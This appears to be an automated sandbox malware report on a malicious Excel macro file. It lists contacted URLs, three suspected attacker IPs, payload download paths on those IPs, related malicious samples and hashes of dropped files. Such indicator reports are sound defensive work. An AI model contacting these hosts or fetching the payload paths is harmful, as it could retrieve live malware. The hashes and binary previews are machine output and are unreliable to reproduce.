                                                                                    https://wus2.contentsync.70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                    • URL Reputation: safe
                                                                                    • URL Reputation: safe
                                                                                    • URL Reputation: safe
                                                                                    • URL Reputation: safe
                                                                                    unknown
                                                                                    https://incidents.diagnostics.office.com70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                      high
                                                                                      https://clients.config.office.net/user/v1.0/ios70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                        high
                                                                                        https://insertmedia.bing.office.net/odc/insertmedia70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                          high
                                                                                          https://o365auditrealtimeingestion.manage.office.com70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                            high
                                                                                            https://outlook.office365.com/api/v1.0/me/Activities70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                              high
                                                                                              https://api.office.net70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                                high
                                                                                                https://incidents.diagnosticssdf.office.com70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                                  high
                                                                                                  https://asgsmsproxyapi.azurewebsites.net/70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                                  • 0%, Virustotal, Browse
                                                                                                  • Avira URL Cloud: safe
                                                                                                  unknown
                                                                                                  https://clients.config.office.net/user/v1.0/android/policies70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                                    high
                                                                                                    https://entitlement.diagnostics.office.com70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                                      high
                                                                                                      https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                                        high
                                                                                                        https://substrate.office.com/search/api/v2/init70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                                          high
                                                                                                          https://outlook.office.com/70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                                            high
                                                                                                            https://storage.live.com/clientlogs/uploadlocation70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                                              high
                                                                                                              https://templatelogging.office.com/client/log70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                                                high
                                                                                                                https://outlook.office365.com/70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                                                  high
                                                                                                                  https://webshell.suite.office.com70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                                                    high
                                                                                                                    https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                                                      high
                                                                                                                      https://management.azure.com/70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                                                        high
                                                                                                                        https://login.windows.net/common/oauth2/authorize70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                                                          high
                                                                                                                          https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                                                          • URL Reputation: safe
                                                                                                                          • URL Reputation: safe
                                                                                                                          • URL Reputation: safe
                                                                                                                          • URL Reputation: safe
                                                                                                                          unknown
                                                                                                                          https://graph.windows.net/70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                                                            high
                                                                                                                            https://api.powerbi.com/beta/myorg/imports70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                                                              high
                                                                                                                              https://devnull.onenote.com70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                                                                high
                                                                                                                                https://ncus.pagecontentsync.70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                                                                • URL Reputation: safe
                                                                                                                                • URL Reputation: safe
                                                                                                                                • URL Reputation: safe
                                                                                                                                • URL Reputation: safe
                                                                                                                                unknown
                                                                                                                                https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                                                                  high
                                                                                                                                  https://messaging.office.com/70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                                                                    high
                                                                                                                                    https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                                                                      high
                                                                                                                                      https://augloop.office.com/v270C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                                                                        high
                                                                                                                                        https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                                                                          high
                                                                                                                                          https://skyapi.live.net/Activity/70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                                                                          • URL Reputation: safe
                                                                                                                                          • URL Reputation: safe
                                                                                                                                          • URL Reputation: safe
                                                                                                                                          • URL Reputation: safe
                                                                                                                                          unknown
                                                                                                                                          https://clients.config.office.net/user/v1.0/mac70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                                                                            high
                                                                                                                                            https://dataservice.o365filtering.com70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                                                                            • URL Reputation: safe
                                                                                                                                            • URL Reputation: safe
                                                                                                                                            • URL Reputation: safe
                                                                                                                                            • URL Reputation: safe
                                                                                                                                            unknown
                                                                                                                                            https://api.cortana.ai70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                                                                            • URL Reputation: safe
                                                                                                                                            • URL Reputation: safe
                                                                                                                                            • URL Reputation: safe
                                                                                                                                            • URL Reputation: safe
                                                                                                                                            unknown
                                                                                                                                            https://onedrive.live.com70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                                                                              high
                                                                                                                                              https://ovisualuiapp.azurewebsites.net/pbiagave/70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                                                                              • Avira URL Cloud: safe
                                                                                                                                              unknown
                                                                                                                                              https://visio.uservoice.com/forums/368202-visio-on-devices70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                                                                                high
                                                                                                                                                https://directory.services.70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                unknown
                                                                                                                                                https://login.windows-ppe.net/common/oauth2/authorize70C851F0-DCF3-417E-B449-BD498DB01C08.0.drfalse
                                                                                                                                                  high

                                                                                                                                                  Contacted IPs

                                                                                                                                                  • No. of IPs < 25%
                                                                                                                                                  • 25% < No. of IPs < 50%
                                                                                                                                                  • 50% < No. of IPs < 75%
                                                                                                                                                  • 75% < No. of IPs

                                                                                                                                                  Public

                                                                                                                                                  IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                  190.14.37.3
                                                                                                                                                  unknownPanama
                                                                                                                                                  52469OffshoreRacksSAPAfalse
                                                                                                                                                  185.183.99.120
                                                                                                                                                  unknownNetherlands
                                                                                                                                                  60117HSAEfalse
                                                                                                                                                  185.240.103.219
                                                                                                                                                  unknownRussian Federation
                                                                                                                                                  57724DDOS-GUARDRUfalse

                                                                                                                                                  General Information

                                                                                                                                                  Joe Sandbox Version:32.0.0 Black Diamond
                                                                                                                                                  Analysis ID:440649
                                                                                                                                                  Start date:25.06.2021
                                                                                                                                                  Start time:18:31:04
                                                                                                                                                  Joe Sandbox Product:CloudBasic
                                                                                                                                                  Overall analysis duration:0h 5m 1s
                                                                                                                                                  Hypervisor based Inspection enabled:false
                                                                                                                                                  Report type:full
                                                                                                                                                  Sample file name:Permission-1532161794-06252021.xlsm
                                                                                                                                                  Cookbook file name:defaultwindowsofficecookbook.jbs
                                                                                                                                                  Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                                                                                                                                  Run name:Potential for more IOCs and behavior
                                                                                                                                                  Number of analysed new started processes analysed:19
                                                                                                                                                  Number of new started drivers analysed:0
                                                                                                                                                  Number of existing processes analysed:0
                                                                                                                                                  Number of existing drivers analysed:0
                                                                                                                                                  Number of injected processes analysed:0
                                                                                                                                                  Technologies:
                                                                                                                                                  • HCA enabled
                                                                                                                                                  • EGA enabled
                                                                                                                                                  • HDC enabled
                                                                                                                                                  • AMSI enabled
                                                                                                                                                  Analysis Mode:default
                                                                                                                                                  Analysis stop reason:Timeout
                                                                                                                                                  Detection:MAL
                                                                                                                                                  Classification:mal64.expl.evad.winXLSM@7/9@0/3
                                                                                                                                                  EGA Information:Failed
                                                                                                                                                  HDC Information:Failed
                                                                                                                                                  HCA Information:
                                                                                                                                                  • Successful, ratio: 100%
                                                                                                                                                  • Number of executed functions: 0
                                                                                                                                                  • Number of non-executed functions: 0
                                                                                                                                                  Cookbook Comments:
                                                                                                                                                  • Adjust boot time
                                                                                                                                                  • Enable AMSI
                                                                                                                                                  • Found application associated with file extension: .xlsm
                                                                                                                                                  • Found Word or Excel or PowerPoint or XPS Viewer
                                                                                                                                                  • Attach to Office via COM
                                                                                                                                                  • Scroll down
                                                                                                                                                  • Close Viewer
                                                                                                                                                  Warnings:
                                                                                                                                                  Show All
                                                                                                                                                  • Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe
                                                                                                                                                  • Excluded IPs from analysis (whitelisted): 13.64.90.137, 104.42.151.234, 23.211.6.115, 52.109.88.177, 52.109.8.23, 52.109.12.22, 20.82.210.154, 20.54.7.98, 40.112.88.60, 8.252.5.126, 8.241.90.254, 67.26.81.254, 8.238.85.126, 8.241.82.254, 20.82.209.183, 80.67.82.211, 80.67.82.235, 20.50.102.62
                                                                                                                                                  • Excluded domains from analysis (whitelisted): prod-w.nexus.live.com.akadns.net, store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a1449.dscg2.akamai.net, arc.msn.com, consumerrp-displaycatalog-aks2eap-europe.md.mp.microsoft.com.akadns.net, e12564.dspb.akamaiedge.net, audownload.windowsupdate.nsatc.net, nexus.officeapps.live.com, arc.trafficmanager.net, officeclient.microsoft.com, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, auto.au.download.windowsupdate.com.c.footprint.net, img-prod-cms-rt-microsoft-com.akamaized.net, au-bg-shim.trafficmanager.net, skypedataprdcolwus17.cloudapp.net, iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, prod.configsvc1.live.com.akadns.net, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, ctldl.windowsupdate.com, consumerrp-displaycatalog-aks2aks-europe.md.mp.microsoft.com.akadns.net, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, ris.api.iris.microsoft.com, store-images.s-microsoft.com, config.officeapps.live.com, blobcollector.events.data.trafficmanager.net, skypedataprdcolwus16.cloudapp.net, europe.configsvc1.live.com.akadns.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net, neu-consumerrp-displaycatalog-aks2aks-europe.md.mp.microsoft.com.akadns.net

                                                                                                                                                  Simulations

                                                                                                                                                  Behavior and APIs

                                                                                                                                                  No simulations

                                                                                                                                                  Joe Sandbox View / Context

                                                                                                                                                  IPs

                                                                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                  190.14.37.3Permission-1984690372-06252021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.3/44372.7698814815.dat
                                                                                                                                                  Permission-1532161794-06252021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.3/44372.7671056713.dat
                                                                                                                                                  Permission-414467145-06252021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.3/44372.593127662.dat
                                                                                                                                                  Permission-414467145-06252021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.3/44372.5879460648.dat
                                                                                                                                                  185.183.99.120Permission-1984690372-06252021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 185.183.99.120/44372.7698814815.dat
                                                                                                                                                  Permission-1532161794-06252021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 185.183.99.120/44372.7671056713.dat
                                                                                                                                                  Permission-414467145-06252021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 185.183.99.120/44372.593127662.dat
                                                                                                                                                  Permission-414467145-06252021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 185.183.99.120/44372.5879460648.dat
                                                                                                                                                  185.240.103.219Permission-414467145-06252021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 185.240.103.219/44372.593127662.dat
                                                                                                                                                  Permission-414467145-06252021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 185.240.103.219/44372.5879460648.dat

                                                                                                                                                  Domains

                                                                                                                                                  No context

                                                                                                                                                  ASN

                                                                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                  DDOS-GUARDRUPermission-1984690372-06252021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 185.240.103.219
                                                                                                                                                  Permission-1532161794-06252021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 185.240.103.219
                                                                                                                                                  Permission-414467145-06252021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 185.240.103.219
                                                                                                                                                  Permission-414467145-06252021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 185.240.103.219
                                                                                                                                                  Decline-172917164-06242021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 5.253.62.174
                                                                                                                                                  Decline-172917164-06242021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 5.253.62.174
                                                                                                                                                  ForceNitro.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.178.208.135
                                                                                                                                                  PO#8076.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.129.100.112
                                                                                                                                                  Cancellation_Letter_2137859823_06112021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 185.240.103.162
                                                                                                                                                  Cancellation_Letter_2137859823_06112021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 185.240.103.162
                                                                                                                                                  jebDtHCePK9feGL.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.129.100.112
                                                                                                                                                  EDS03932,pdf.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.178.208.160
                                                                                                                                                  PO_29_00412.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.178.208.160
                                                                                                                                                  PO_29_00412.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.178.208.160
                                                                                                                                                  12042021493876783,xlsx.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.178.208.160
                                                                                                                                                  Ref. PDF IGAPO17493.exeGet hashmaliciousBrowse
                                                                                                                                                  • 5.253.61.31
                                                                                                                                                  AxR7BY4wzz.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.178.208.189
                                                                                                                                                  SecuriteInfo.com.Trojan.Siggen12.41502.7197.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.178.208.189
                                                                                                                                                  #U041e#U0442#U043a#U0440#U044b#U0442#U044c www.sberbank.ru-0152 .htmGet hashmaliciousBrowse
                                                                                                                                                  • 185.129.100.100
                                                                                                                                                  Install.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.219.40.40
                                                                                                                                                  OffshoreRacksSAPAPermission-1984690372-06252021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.3
                                                                                                                                                  Permission-1532161794-06252021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.3
                                                                                                                                                  Permission-414467145-06252021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.3
                                                                                                                                                  Permission-414467145-06252021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.3
                                                                                                                                                  4cDyOofgzT.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.2
                                                                                                                                                  4cDyOofgzT.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.2
                                                                                                                                                  341288734918_06172021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.2
                                                                                                                                                  341288734918_06172021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.2
                                                                                                                                                  Rebate_247668103_06142021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.135
                                                                                                                                                  Rebate_247668103_06142021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.135
                                                                                                                                                  Rebate_1963763550_06142021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.135
                                                                                                                                                  Rebate_1963763550_06142021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.135
                                                                                                                                                  Rebate_234359500_06142021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.135
                                                                                                                                                  Rebate_234359500_06142021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.135
                                                                                                                                                  banUwVSwBY.xlsxGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.134
                                                                                                                                                  banUwVSwBY.xlsxGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.134
                                                                                                                                                  Rebate_18082425_05272021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.102
                                                                                                                                                  Rebate_18082425_05272021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.102
                                                                                                                                                  DEBT_06032021_861309073.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.121
                                                                                                                                                  DEBT_06032021_861309073.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 190.14.37.121
                                                                                                                                                  HSAEPermission-1984690372-06252021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 185.183.99.120
                                                                                                                                                  Permission-1532161794-06252021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 185.183.99.120
                                                                                                                                                  Permission-414467145-06252021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 185.183.99.120
                                                                                                                                                  Permission-414467145-06252021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 185.183.99.120
                                                                                                                                                  Decline-172917164-06242021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 185.117.73.74
                                                                                                                                                  Decline-172917164-06242021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 185.117.73.74
                                                                                                                                                  xa6FEoUw0W.dllGet hashmaliciousBrowse
                                                                                                                                                  • 188.116.36.211
                                                                                                                                                  tszs3mwUbe.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.45.193.29
                                                                                                                                                  pZ50mMKSLi.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.45.193.29
                                                                                                                                                  qTnwCotzR9.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.45.193.29
                                                                                                                                                  PwBsqWQ7jJ.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.45.193.29
                                                                                                                                                  aGDehjYIws.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.198.57.204
                                                                                                                                                  Tjhsm8p85Y.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.45.193.29
                                                                                                                                                  T23HJFoN2Y.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.45.193.29
                                                                                                                                                  i7NsO9mhTD.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.45.193.29
                                                                                                                                                  o7w2HSi17V.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.141.27.225
                                                                                                                                                  AB1CEF822F66D7B77574A21C8154D4A6E9FCD196A6659.exeGet hashmaliciousBrowse
                                                                                                                                                  • 185.198.57.204
                                                                                                                                                  4cDyOofgzT.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 194.36.189.154
                                                                                                                                                  4cDyOofgzT.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 194.36.189.154
                                                                                                                                                  341288734918_06172021.xlsmGet hashmaliciousBrowse
                                                                                                                                                  • 194.36.189.154

                                                                                                                                                  JA3 Fingerprints

                                                                                                                                                  No context

                                                                                                                                                  Dropped Files

                                                                                                                                                  No context

                                                                                                                                                  Created / dropped Files

                                                                                                                                                  C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\70C851F0-DCF3-417E-B449-BD498DB01C08
                                                                                                                                                  Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                  File Type:XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):135189
                                                                                                                                                  Entropy (8bit):5.363305102448308
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:1536:6cQIKNgeBTA3gBwlpQ9DQW+z7Y34ZliKWXboOidX5E6LWME9:cEQ9DQW+zvXO1
                                                                                                                                                  MD5:40409D26C133096B1714037FA9977900
                                                                                                                                                  SHA1:D4AA307A4C3DC17527C64FD4F8947B7E09E51E25
                                                                                                                                                  SHA-256:4077EC7BEC3D8625779D3D7966898874FD4796752868D872DFD1B0DA504607DD
                                                                                                                                                  SHA-512:64C3ADAD5BC4DCBE01D9F85CD29A3B72ECC614A3235780C6B39D82694E7CCA4DAD78B99D2F4A7F34A14B81DEA1374456C6ECF6E44EB3D5BEE272BB7A7181A45D
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:low
                                                                                                                                                  Preview: <?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2021-06-25T16:31:58">.. Build: 16.0.14223.30528-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:url>https://rr.office.microsoft.com/research/query.asmx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpId">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientHome">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientTemplate">.. <o:url>https://ocsa.office.microsoft.com/client/15/help/template</o:url>.. </o:service>.. <o:
                                                                                                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\70678E60.jpg
                                                                                                                                                  Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                  File Type:[TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop CS6 (Windows), datetime=2021:02:11 21:11:18], baseline, precision 8, 1860x1000, frames 3
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):139381
                                                                                                                                                  Entropy (8bit):7.677272725029824
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3072:CmKZQmKZ3KNhPQnVbJ2O1gZMys2g4D5JhoD4ZOy:54P4346PgZw9gQat
                                                                                                                                                  MD5:53918FB868F1540920FC189C6783FC7C
                                                                                                                                                  SHA1:135CB103C5B5125C80285A83AE728B559313BADC
                                                                                                                                                  SHA-256:7F6AD5212338A6586251AEF92D2543AA8E70C815FE0BF7ADDCE2C0A83D20A0B3
                                                                                                                                                  SHA-512:31391EFC3D377EA32A537EF3DDCA41ABAF34C4C83CDFEF9A64D40DE219B88A293BE2BF01D6A5D2B23365513CB880020F37CA8E90506C41FB7FC8E42D4D641F51
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:low
                                                                                                                                                  Preview: ....!jExif..MM.*.............................b...........j.(...........1.........r.2...........i...............-....'..-....'.Adobe Photoshop CS6 (Windows).2021:02:11 21:11:18..........................D.......................................................&.(................................ 4.......H.......H.........XICC_PROFILE......HLino....mntrRGB XYZ .........1..acspMSFT....IEC sRGB.......................-HP ................................................cprt...P...3desc.......lwtpt........bkpt........rXYZ........gXYZ...,....bXYZ...@....dmnd...T...pdmdd........vued...L....view.......$lumi........meas.......$tech...0....rTRC...<....gTRC...<....bTRC...<....text....Copyright (c) 1998 Hewlett-Packard Company..desc........sRGB IEC61966-2.1............sRGB IEC61966-2.1..................................................XYZ .......Q........XYZ ................XYZ ......o...8.....XYZ ......b.........XYZ ......$.........desc........IEC http://www.iec.ch............IEC http://www.iec.ch....
                                                                                                                                                  C:\Users\user\AppData\Local\Temp\FBB40000
                                                                                                                                                  Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                  File Type:data
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):153180
                                                                                                                                                  Entropy (8bit):7.664802523686055
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3072:4mKZQmKZ3KNhPQnVbJ2O1gZMys2g4D5JhoD4ZOgp:34P4346PgZw9gQan
                                                                                                                                                  MD5:A7A8ADC751C836F663525D5F556001F7
                                                                                                                                                  SHA1:EC7DC2DF47CE6F307BA00AC3EC586B1B46797776
                                                                                                                                                  SHA-256:1B255C4FCE17541A35D024B857907212C42A74D72D185CA92672FB05C0F3FFB6
                                                                                                                                                  SHA-512:76BFF15D94510A35230E5372E91627D11B08C17EF546B42E29B2B5A54385087757FF0BAEC811EBD3EA2D79951B684EEC677216A2DF5489C30FAC28FCE8BB06F9
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:low
                                                                                                                                                  Preview: ..Mn.0....z...B..EP...H.e. ....Xb.?.Lb.C.Q...,..X..y.Gi8.Y.].a...]T.V..N*.....g...1......1..../...XP..5kS..G..X9..V...H.34.XB..r2....6.)k......U..nE.o..e.....x...DF.... .[,.@..!.*.. c....|PD....5.......8..*;c.U>~............S.29...MF....%.x..~....J.w..s..anN...W.u.EV....Y.k.5P......2..rq.......N:.....F...T..\...hL..6.c(.#.D.5.....d..i.1......[.(...........!..g.|....B.\.Z...9.^.....Cp>...p...i..KOB...~...]=.N..;.||I.;.;.g........PK..........!...&n....o.......[Content_Types].xml ...(........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                  C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK
                                                                                                                                                  Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                  File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Thu Jun 27 17:12:41 2019, mtime=Fri Jun 25 15:32:01 2021, atime=Fri Jun 25 15:32:01 2021, length=8192, window=hide
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):904
                                                                                                                                                  Entropy (8bit):4.6776735575835104
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:12:8iHcXUIwLllpduCH2BvOKe74wUAo+WrjAZ/DYbD9SeuSeL44t2Y+xIBjKZm:87qqmxLCAZbcDz7aB6m
                                                                                                                                                  MD5:CFC6AAEC6DE5BAFFB8CB6F854C30CB9B
                                                                                                                                                  SHA1:42CE160CCA5D299B8988C8BF81C20C19F0D70DAF
                                                                                                                                                  SHA-256:16A2BDBBA732B1F3069CBE879E45A370AB3130B44CFDF2E16499F53E619AE78B
                                                                                                                                                  SHA-512:4CE8712D3A01DDFE01CE33109EBBBF266F097EE4FB9843986B1B3A6D2CF08A87C434D7DBF9C4422B9B35CC95F3E2ED0B80BA6947CC513561099379B5C906FA03
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:low
                                                                                                                                                  Preview: L..................F.............-..h...i...E..i... ......................u....P.O. .:i.....+00.../C:\...................x.1......N....Users.d......L...R.....................:......;..U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....P.1.....>Q}<..user.<.......N...R.....#J....................E...j.o.n.e.s.....~.1......R....Desktop.h.......N...R.......Y..............>.....op..D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......E...............-.......D...........>.S......C:\Users\user\Desktop........\.....\.....\.....\.....\.D.e.s.k.t.o.p.........:..,.LB.)...As...`.......X.......992547...........!a..%.H.VZAj...m<...............!a..%.H.VZAj...m<..........................1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.3.8.5.3.3.2.1.9.3.5.-.2.1.2.5.5.6.3.2.0.9.-.4.0.5.3.0.6.2.3.3.2.-.1.0.0.2.........9...1SPS..mD..pH.H@..=x.....h....H......K*..@.A..7sFJ............
                                                                                                                                                  C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Permission-1532161794-06252021.LNK
                                                                                                                                                  Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                  File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Sep 30 06:35:54 2020, mtime=Fri Jun 25 15:32:01 2021, atime=Fri Jun 25 15:32:01 2021, length=153171, window=hide
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):2320
                                                                                                                                                  Entropy (8bit):4.696475358289556
                                                                                                                                                  Encrypted:false
